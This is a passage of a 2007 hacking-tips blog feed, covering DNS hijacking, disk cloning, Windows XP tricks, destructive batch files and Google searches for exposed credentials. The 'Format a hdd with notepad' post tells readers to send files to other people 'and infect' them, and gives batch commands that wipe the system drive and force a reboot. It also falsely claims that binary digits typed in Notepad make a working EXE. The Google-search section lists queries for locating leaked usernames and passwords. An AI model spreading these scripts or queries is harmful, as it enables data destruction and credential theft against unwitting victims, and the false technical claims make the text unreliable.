/&gt;&lt;br /&gt;This solution is not scalable, dynamic or easy to maintain. But it is free. And it works.&lt;br /&gt;&lt;br /&gt;WORKAROUNDS&lt;br /&gt;&lt;br /&gt;If the client knows the IP Address of the remote server, he can still connect directly by IP Address.&lt;br /&gt;&lt;br /&gt;If the client changes his DNS Server to an Internet DNS server, it bypasses the entries for the hijacked domains. However, if the client is on an Active Directory domain, he will lose access to the domain controllers and Active Directory.&lt;br /&gt;&lt;br /&gt;Clients can use a web proxy to view desired web content. External web proxies do not rely on the internal DNS server for name resolution.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-3590213549095495545?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/3590213549095495545/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=3590213549095495545' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3590213549095495545'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3590213549095495545'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/hijacking-dns.html' title='Hijacking dns'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-7732795146451963910</id><published>2007-12-09T02:38:00.001-08:00</published><updated>2007-12-09T02:38:54.097-08:00</updated><title type='text'>Clone A HDD witout buying any software</title><content type='html'>Did know that you could clone your current Hard Drive without having to by extra software? Maybe you didn't know that all that you needed, was already set up on your current system? Well, it is... and if you follow this tut, you shouldn't have much of a problem.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Make sure that you have a Master and a Slave setup on your system. The Slave drive, in this case, is where all the data on the Master is going to go to.&lt;br /&gt;&lt;br /&gt;First: Perform a Scandisk your Master drive and follow that with a thorough Defrag. If you have an Antivirus program, do a thorough sweep with the AV first, then do the Scandisk, followed by the Defrag.&lt;br /&gt;&lt;br /&gt;Second: Do the same thing to the target drive, as you did the Master: Scandisk then a thorough Defrag.&lt;br /&gt;&lt;br /&gt;Third: Right-click on the Target drive and click on Format. When the box comes up, click your mouse onto the "Full" button.&lt;br /&gt;&lt;br /&gt;Fourth: After Formatting the Target drive, run a Scandisk again and click on the button that says "Autofix Errors".&lt;br /&gt;&lt;br /&gt;Fifth: In this final part, you might want to cut-and-paste to code in, unless you are sure that you can do it without making any mistakes:&lt;br /&gt;&lt;br /&gt;Click on the "Start" button, then click on the "Run..." button, then place the following into the Runbox:&lt;br /&gt;&lt;br /&gt;"XCOPY C:\*.*D:\ /c/h/e/k/r" (minus the quotes, of course) then press the "Enter" button.&lt;br /&gt;&lt;br /&gt;If you receive an error message, then remove the space from between XCOPY and C:\&lt;br /&gt;&lt;br /&gt;Anything that should happen to come up in the DOS box, just click "Y" for "Yes". When its all finished, pull the original Master from the system, designate the Slave as the Master (change your jumpers), then check your new Master out.&lt;br /&gt;&lt;br /&gt;This tut has worked and has been tested on all systems except for Windows 2000, so you really shouldn't have any problems. If, by any chance, you should come across a snag, message me and I'll walk you through it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-7732795146451963910?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/7732795146451963910/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=7732795146451963910' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/7732795146451963910'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/7732795146451963910'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/clone-hdd-witout-buying-any-software.html' title='Clone A HDD witout buying any software'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-2935089220910971187</id><published>2007-12-09T02:36:00.000-08:00</published><updated>2007-12-09T02:37:08.562-08:00</updated><title type='text'>Format a hdd with notepad</title><content type='html'>Step 1.&lt;br /&gt;Copy The Following In Notepad Exactly as it says&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;01001011000111110010010101010101010000011111100000&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Step 2.&lt;br /&gt;Save As An EXE Any Name Will Do&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Step 3.&lt;br /&gt;Send the EXE to People And Infect&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;OR&lt;br /&gt;&lt;br /&gt;IF u think u cannot format c driver when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code&lt;br /&gt;format c:\ /Q/X -- this will format your drive c:\&lt;br /&gt;&lt;br /&gt;01100110011011110111001001101101011000010111010000 100000011000110011101001011100&lt;br /&gt;&lt;br /&gt;0010000000101111010100010010111101011000&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;format d:\ /Q/X -- this will format your dirve d:\&lt;br /&gt;&lt;br /&gt;01100110011011110111001001101101011000010111010000 100000011001000011101001011100&lt;br /&gt;&lt;br /&gt;0010000000101111010100010010111101011000&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;format a:\ /Q/X -- this will format your drive a:\&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;01100110011011110111001001101101011000010111010000 100000011000010011101001011100&lt;br /&gt;&lt;br /&gt;0010000000101111010100010010111101011000&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;del /F/S/Q c:\boot.ini -- this will cause your computer not to boot.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;01100100011001010110110000100000001011110100011000 101111010100110010111101010001&lt;br /&gt;&lt;br /&gt;00100000011000110011101001011100011000100110111101 101111011101000010111001101001&lt;br /&gt;&lt;br /&gt;0110111001101001&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;try to figure out urself rest&lt;br /&gt;cant spoonfeed&lt;br /&gt;its workin&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Do not try it on ur PC. dont mess around this is for educational purpose only&lt;br /&gt;&lt;br /&gt;still if u cant figure it out try dis&lt;br /&gt;&lt;br /&gt;go to notepad&lt;br /&gt;&lt;br /&gt;@Echo off&lt;br /&gt;Del C:\ *.*y&lt;br /&gt;&lt;br /&gt;save it as Dell.bat&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;worse&lt;br /&gt;&lt;br /&gt;@echo off&lt;br /&gt;del %systemdrive%\*.*/f/s/q&lt;br /&gt;shutdown -r -f -t 00&lt;br /&gt;&lt;br /&gt;and save it as a .bat file&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-2935089220910971187?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/2935089220910971187/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=2935089220910971187' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/2935089220910971187'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/2935089220910971187'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/format-hdd-with-notepad.html' title='Format a hdd with notepad'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-1338184101149311724</id><published>2007-12-09T02:33:00.000-08:00</published><updated>2007-12-09T02:35:28.528-08:00</updated><title type='text'>20 things you didn't knew about xp</title><content type='html'>1. It boasts how long it can stay up. Whereas previous versions of Windows were coy about how long they went between boots, XP is positively proud of its stamina. Go to the Command Prompt in the Accessories menu from the All Programs start button option, and then type 'systeminfo'. The computer will produce a lot of useful info, including the uptime. If you want to keep these, type 'systeminfo &gt; info.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;txt&lt;/span&gt;'. This creates a file called info.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;txt&lt;/span&gt; you can look at later with Notepad. (Professional Edition only).&lt;br /&gt;&lt;br /&gt;2. You can delete files immediately, without having them move to the Recycle Bin first. Go to the Start menu, select Run... and type '&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;gpedit&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;msc&lt;/span&gt;'; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting. Set it. Poking around in &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;gpedit&lt;/span&gt; will reveal a great many interface and system options, but take care -- some may stop your computer behaving as you wish. (Professional Edition only).&lt;br /&gt;&lt;br /&gt;3. You can lock your &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;XP&lt;/span&gt; workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter '&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;rundll&lt;/span&gt;32.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;exe&lt;/span&gt; user32.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;dll&lt;/span&gt;,&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;LockWorkStation&lt;/span&gt;' in the location field. Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked. And if that's not easy enough, Windows key + L will do the same.&lt;br /&gt;&lt;br /&gt;4. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;XP&lt;/span&gt; hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;sysoc&lt;/span&gt;.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.&lt;br /&gt;&lt;br /&gt;5. For those skilled in the art of DOS batch files, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;XP&lt;/span&gt; has a number of interesting new commands. These include '&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;eventcreate&lt;/span&gt;' and '&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;eventtriggers&lt;/span&gt;' for creating and watching system events, '&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;typeperf&lt;/span&gt;' for monitoring performance of various subsystems, and '&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;schtasks&lt;/span&gt;' for handling scheduled tasks. As usual, typing the command name followed by /? will give a list of options -- they're all far too baroque to go into here.&lt;br /&gt;&lt;br /&gt;6. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;XP&lt;/span&gt; has &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;IP&lt;/span&gt; version 6 support -- the next generation of &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;IP&lt;/span&gt;. Unfortunately this is more than your &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;ISP&lt;/span&gt; has, so you can only experiment with this on your LAN. Type '&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;ipv&lt;/span&gt;6 install' into Run... (it's OK, it won't ruin your existing network setup) and then '&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;ipv&lt;/span&gt;6 /?' at the command line to find out more. If you don't know what &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;IPv&lt;/span&gt;6 is, don't worry and don't bother.&lt;br /&gt;&lt;br /&gt;7. You can at last get rid of tasks on the computer from the command line by using '&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;taskkill&lt;/span&gt; /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;pid&lt;/span&gt;' and the task number, or just '&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;tskill&lt;/span&gt;' and the process number. Find that out by typing '&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;tasklist&lt;/span&gt;', which will also tell you a lot about what's going on in your system.&lt;br /&gt;&lt;br /&gt;8. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;XP&lt;/span&gt; will treat Zip files like folders, which is nice if you've got a fast machine. On slower machines, you can make &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;XP&lt;/span&gt; leave zip files well alone by typing '&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;regsvr&lt;/span&gt;32 /u &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;zipfldr&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;dll&lt;/span&gt;' at the command line. If you change your mind later, you can put things back as they were by typing '&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_33"&gt;regsvr&lt;/span&gt;32 &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;zipfldr&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_35"&gt;dll&lt;/span&gt;'.&lt;br /&gt;&lt;br /&gt;9. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;XP&lt;/span&gt; has &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;ClearType&lt;/span&gt; -- Microsoft's anti-aliasing font display technology -- but doesn't have it enabled by default. It's well worth trying, especially if you were there for DOS and all those years of staring at a screen have given you the eyes of an astigmatic bat. To enable &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_38"&gt;ClearType&lt;/span&gt;, right click on the desktop, select Properties, Appearance, Effects, select &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_39"&gt;ClearType&lt;/span&gt; from the second drop-down menu and enable the selection. Expect best results on laptop displays. If you want to use &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_40"&gt;ClearType&lt;/span&gt; on the Welcome &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_41"&gt;login&lt;/span&gt; screen as well, set the registry entry HKEY_USERS/.DEFAULT/Control Panel/Desktop/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_42"&gt;FontSmoothingType&lt;/span&gt; to 2.&lt;br /&gt;&lt;br /&gt;10. You can use Remote Assistance to help a friend who's using network address translation (NAT) on a home network, but not automatically. Get your pal to email you a Remote Assistance invitation and edit the file. Under the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_43"&gt;RCTICKET&lt;/span&gt; attribute will be a NAT &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_44"&gt;IP&lt;/span&gt; address, like 192.168.1.10. Replace this with your chum's real &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_45"&gt;IP&lt;/span&gt; address -- they can find this out by going to www.whatismyip.com -- and get them to make sure that they've got port 3389 open on their firewall and forwarded to the errant computer.&lt;br /&gt;&lt;br /&gt;11. You can run a program as a different user without logging out and back in again. Right click the icon, select Run As... and enter the user name and password you want to use. This only applies for that run. The trick is particularly useful if you need to have administrative permissions to install a program, which many require. Note that you can have some fun by running programs multiple times on the same system as different users, but this can have unforeseen effects.&lt;br /&gt;&lt;br /&gt;12. Windows &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_46"&gt;XP&lt;/span&gt; can be very insistent about you checking for auto updates, registering a Passport, using Windows Messenger and so on. After a while, the nagging goes away, but if you feel you might slip the bonds of sanity before that point, run &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_47"&gt;Regedit&lt;/span&gt;, go to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_48"&gt;HKEY&lt;/span&gt;_CURRENT_USER/Software/Microsoft/Windows/Current Version/Explorer/Advanced and create a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_49"&gt;DWORD&lt;/span&gt; value called &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_50"&gt;EnableBalloonTips&lt;/span&gt; with a value of 0.&lt;br /&gt;&lt;br /&gt;13. You can start up without needing to enter a user name or password. Select Run... from the start menu and type 'control &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_51"&gt;userpasswords&lt;/span&gt;2', which will open the user accounts application. On the Users tab, clear the box for Users Must Enter A User Name And Password To Use This Computer, and click on OK. An Automatically Log On dialog box will appear; enter the user name and password for the account you want to use.&lt;br /&gt;&lt;br /&gt;14. Internet Explorer 6 will automatically delete temporary files, but only if you tell it to. Start the browser, select Tools / Internet Options... and Advanced, go down to the Security area and check the box to Empty Temporary Internet Files folder when browser is closed.&lt;br /&gt;&lt;br /&gt;15. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_52"&gt;XP&lt;/span&gt; comes with a free Network Activity Light, just in case you can't see the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_53"&gt;LEDs&lt;/span&gt; twinkle on your network card. Right click on My Network Places on the desktop, then select Properties. Right click on the description for your LAN or dial-up connection, select Properties, then check the Show icon in notification area when connected box. You'll now see a tiny network icon on the right of your task bar that glimmers nicely during network traffic.&lt;br /&gt;&lt;br /&gt;16. The Start Menu can be leisurely when it decides to appear, but you can speed things along by changing the registry entry &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_54"&gt;HKEY&lt;/span&gt;_CURRENT_USER/Control Panel/Desktop/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_55"&gt;MenuShowDelay&lt;/span&gt; from the default 400 to something a little snappier. Like 0.&lt;br /&gt;&lt;br /&gt;17. You can rename loads of files at once in Windows Explorer. Highlight a set of files in a window, then right click on one and rename it. All the other files will be renamed to that name, with individual numbers in brackets to distinguish them. Also, in a folder you can arrange icons in alphabetised groups by View, Arrange Icon By... Show In Groups.&lt;br /&gt;&lt;br /&gt;18. Windows Media Player will display the cover art for albums as it plays the tracks -- if it found the picture on the Internet when you copied the tracks from the CD. If it didn't, or if you have lots of &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_56"&gt;pre&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_57"&gt;WMP&lt;/span&gt; music files, you can put your own copy of the cover art in the same directory as the tracks. Just call it folder.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_58"&gt;jpg&lt;/span&gt; and Windows Media Player will pick it up and display it.&lt;br /&gt;&lt;br /&gt;19. Windows key + Break brings up the System Properties dialogue box; Windows key + D brings up the desktop; Windows key + Tab moves through the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_59"&gt;taskbar&lt;/span&gt; buttons.&lt;br /&gt;&lt;br /&gt;20. The next release of Windows &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_60"&gt;XP&lt;/span&gt;, codenamed Longhorn, is due out late dis month The next big release is codenamed &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_61"&gt;Blackcomb&lt;/span&gt; and will be out in 2010/2011&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-1338184101149311724?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/1338184101149311724/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=1338184101149311724' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/1338184101149311724'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/1338184101149311724'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/20-things-you-didnt-knew-about-xp.html' title='20 things you didn&apos;t knew about xp'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-439764695528263456</id><published>2007-12-09T02:28:00.000-08:00</published><updated>2007-12-09T02:44:33.597-08:00</updated><title type='text'>HAcking google for finding passwords and other personal info</title><content type='html'>Introduction&lt;br /&gt;This is not about finding sensitive data during an assessment as much as&lt;br /&gt;it is about what the “bad guys” might do to troll for the data.The examples presented&lt;br /&gt;generally represent the lowest-hanging fruit on the security&lt;br /&gt;tree. Hackers target this information on a daily basis.To protect against this type&lt;br /&gt;of attacker, we need to be fairly candid about the worst-case possibilities.We&lt;br /&gt;won’t be overly candid, however.&lt;br /&gt;We start by looking at some queries that can be used to uncover usernames,&lt;br /&gt;the less important half of most authentication systems.The value of a username is&lt;br /&gt;often overlooked, but, an entire multimilliondollar&lt;br /&gt;security system can be shattered through skillful crafting of even the&lt;br /&gt;smallest, most innocuous bit of information.&lt;br /&gt;Next, we take a look at queries that are designed to uncover passwords. Some&lt;br /&gt;of the queries we look at reveal encrypted or encoded passwords, which will take&lt;br /&gt;a bit of work on the part of an attacker to use to his or her advantage.We also&lt;br /&gt;take a look at queries that can uncover cleartext passwords.These queries are some&lt;br /&gt;of the most dangerous in the hands of even the most novice attacker. What could&lt;br /&gt;make an attack easier than handing a username and cleartext password to an&lt;br /&gt;attacker?&lt;br /&gt;We wrap up by discussing the very real possibility of uncovering&lt;br /&gt;highly sensitive data such as credit card information and information used to&lt;br /&gt;commit identity theft, such as Social Security numbers. Our goal here is to&lt;br /&gt;explore ways of protecting against this very real threat.To that end, we don’t go&lt;br /&gt;into details about uncovering financial information and the like. If you’re a “dark&lt;br /&gt;side” hacker, you’ll need to figure these things out on your own.&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;strong&gt;Searching for Usernames&lt;/strong&gt;&lt;br /&gt;&lt;/span&gt;Most authentication mechanisms use a username and password to protect information.&lt;br /&gt;To get through the “front door” of this type of protection, you’ll need to&lt;br /&gt;determine usernames as well as passwords. Usernames also can be used for social&lt;br /&gt;engineering efforts, as we discussed earlier.&lt;br /&gt;Many methods can be used to determine usernames. In Chapter 10, we&lt;br /&gt;explored ways of gathering usernames via database error messages. In Chapter 8&lt;br /&gt;we explored Web server and application error messages that can reveal various&lt;br /&gt;information, including usernames.These indirect methods of locating usernames&lt;br /&gt;are helpful, but an attacker could target a usernames directory&lt;br /&gt;query like “your username is”. This phrase can locate help pages that describe the&lt;br /&gt;username creation process,&lt;br /&gt;information gleaned from other sources, such as Google Groups posts or phone&lt;br /&gt;listings.The usernames could then be recycled into various other phases of the&lt;br /&gt;attack, such as a worm-based spam campaign or a social-engineering attempt.An&lt;br /&gt;attacker can gather usernames from a variety of sources, as shown in the sample&lt;br /&gt;queries listed&lt;br /&gt;Sample Queries That Locate Usernames&lt;br /&gt;Query Description&lt;br /&gt;inurl:admin inurl:userlist Generic userlist files&lt;br /&gt;inurl:admin filetype:asp Generic userlist files&lt;br /&gt;inurl:userlist&lt;br /&gt;inurl:php inurl:hlstats intext: Half-life statistics file, lists username and&lt;br /&gt;Server Username other information&lt;br /&gt;filetype:ctl inurl:haccess. Microsoft FrontPage equivalent of htaccess&lt;br /&gt;ctl Basic shows Web user credentials&lt;br /&gt;Query Description&lt;br /&gt;filetype:reg reg intext: Microsoft Internet Account Manager can&lt;br /&gt;”internet account manager” reveal usernames and more&lt;br /&gt;filetype:wab wab Microsoft Outlook Express Mail address&lt;br /&gt;books&lt;br /&gt;filetype:mdb inurl:profiles Microsoft Access databases containing (user)&lt;br /&gt;profiles.&lt;br /&gt;index.of perform.ini mIRC IRC ini file can list IRC usernames and&lt;br /&gt;other information&lt;br /&gt;inurl:root.asp?acs=anon Outlook Mail Web Access directory can be&lt;br /&gt;used to discover usernames&lt;br /&gt;filetype:conf inurl:proftpd. PROFTP FTP server configuration file reveals&lt;br /&gt;conf –sample username and server information&lt;br /&gt;filetype:log username putty PUTTY SSH client logs can reveal usernames&lt;br /&gt;and server information&lt;br /&gt;filetype:rdp rdp Remote Desktop Connection files reveal user&lt;br /&gt;credentials&lt;br /&gt;intitle:index.of .bash_history UNIX bash shell history reveals commands&lt;br /&gt;typed at a bash command prompt; usernames&lt;br /&gt;are often typed as argument strings&lt;br /&gt;intitle:index.of .sh_history UNIX shell history reveals commands typed at&lt;br /&gt;a shell command prompt; usernames are&lt;br /&gt;often typed as argument strings&lt;br /&gt;“index of ” lck Various lock files list the user currently using&lt;br /&gt;a file&lt;br /&gt;+intext:webalizer +intext: Webalizer Web statistics page lists Web user-&lt;br /&gt;Total Usernames +intext: names and statistical information&lt;br /&gt;”Usage Statistics for”&lt;br /&gt;filetype:reg reg HKEY_ Windows Registry exports can reveal&lt;br /&gt;CURRENT_USER username usernames and other information&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Underground Googling&lt;br /&gt;&lt;span style="font-size:130%;"&gt;Searching for a Known Filename&lt;/span&gt;&lt;br /&gt;&lt;/strong&gt;Remember that there are several ways to search for a known filename.&lt;br /&gt;One way relies on locating the file in a directory listing, like intitle:index.of&lt;br /&gt;install.log. Another, often better, method relies on the filetype operator,&lt;br /&gt;as in filetype:log inurl:install.log. Directory listings are not all that&lt;br /&gt;common. Google will crawl a link to a file in a directory listing, meaning&lt;br /&gt;that the filetype method will find both directory listing entries as well as&lt;br /&gt;files crawled in other ways.&lt;br /&gt;&lt;br /&gt;In some cases, usernames can be gathered from Web-based statistical programs&lt;br /&gt;that check Web activity.The Webalizer program shows all sorts of information&lt;br /&gt;about a Web server’s usage. Output files for the Webalizer program can be&lt;br /&gt;located with a query such as intext:webalizer intext:”Total Usernames” intext:”Usage&lt;br /&gt;Statistics for”. Among the information displayed is the username that was used to&lt;br /&gt;connect to the Web server, as shown in Figure 9.2. In some cases, however, the&lt;br /&gt;usernames displayed are not valid or current, but the “Visits” column lists the&lt;br /&gt;number of times a user account was used during the capture period.This enables&lt;br /&gt;an attacker to easily determine which accounts are more likely to be valid.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Windows registry holds all sorts of authentication information, including&lt;br /&gt;usernames and passwords.Though it is unlikely (and fairly uncommon) to locate&lt;br /&gt;live, exported Windows registry files on the Web, at the time of this writing&lt;br /&gt;there are nearly 100 hits on the query filetype:reg HKEY_CURRENT_USER&lt;br /&gt;username, which locates Windows registry files that contain the word username&lt;br /&gt;and in some cases passwords,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As any talented attacker or security person will tell you, it’s rare to get information&lt;br /&gt;served to you on a silver platter. Most decent finds take a bit of persistence,&lt;br /&gt;creativity, intelligence, and just a bit of good luck. For example, consider&lt;br /&gt;the Microsoft Outlook Web Access portal, which can be located with a query&lt;br /&gt;like inurl:root.asp?acs=anon. At the time of this writing, fewer than 50 sites are&lt;br /&gt;returned by this query, even though there a certainly more than 50 sites running&lt;br /&gt;the Microsoft Web-based mail portal. Regardless of how you might locate a site&lt;br /&gt;running this e-mail gateway, it’s not uncommon for the site to host a public&lt;br /&gt;directory (denoted “Find Names,” by default)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The public directory allows access to a search page that can be used to find&lt;br /&gt;users by name. In most cases, wildcard searching is not allowed, meaning that a&lt;br /&gt;search for * will not return a list of all users, as might be expected. Entering a&lt;br /&gt;search for a space is an interesting idea, since most user descriptions contain a&lt;br /&gt;space, but most large directories will return the error message “This query would&lt;br /&gt;return too many addresses!” Applying a bit of creativity, an attacker could begin&lt;br /&gt;searching for individual common letters, such as the “Wheel of Fortune letters”&lt;br /&gt;R, S,T, L, N, and E. Eventually one of these searches will most likely reveal a list&lt;br /&gt;of user information like&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Once a list of user information is returned, the attacker can then recycle the&lt;br /&gt;search with words contained in the user list, searching for the words Voyager,&lt;br /&gt;Freshmen, or Campus, for example.Those results can then be recycled, eventually&lt;br /&gt;resulting in a nearly complete list of user information.&lt;br /&gt;&lt;strong&gt;&lt;span style="font-size:130%;"&gt;Searching for Passwords&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Password data, one of the “Holy Grails” during a penetration test, should be protected.&lt;br /&gt;Unfortunately, many examples of Google queries can be used to locate&lt;br /&gt;passwords on the Web, as shown in Table 9.2.&lt;br /&gt;Table 9.2 Queries That Locate Password Information&lt;br /&gt;Query Description&lt;br /&gt;inurl:/db/main.mdb ASP-Nuke passwords&lt;br /&gt;filetype:cfm “cfapplication ColdFusion source with potential passwords&lt;br /&gt;name” password&lt;br /&gt;filetype:pass pass intext:userid dbman credentials&lt;br /&gt;allinurl:auth_user_file.txt DCForum user passwords&lt;br /&gt;eggdrop 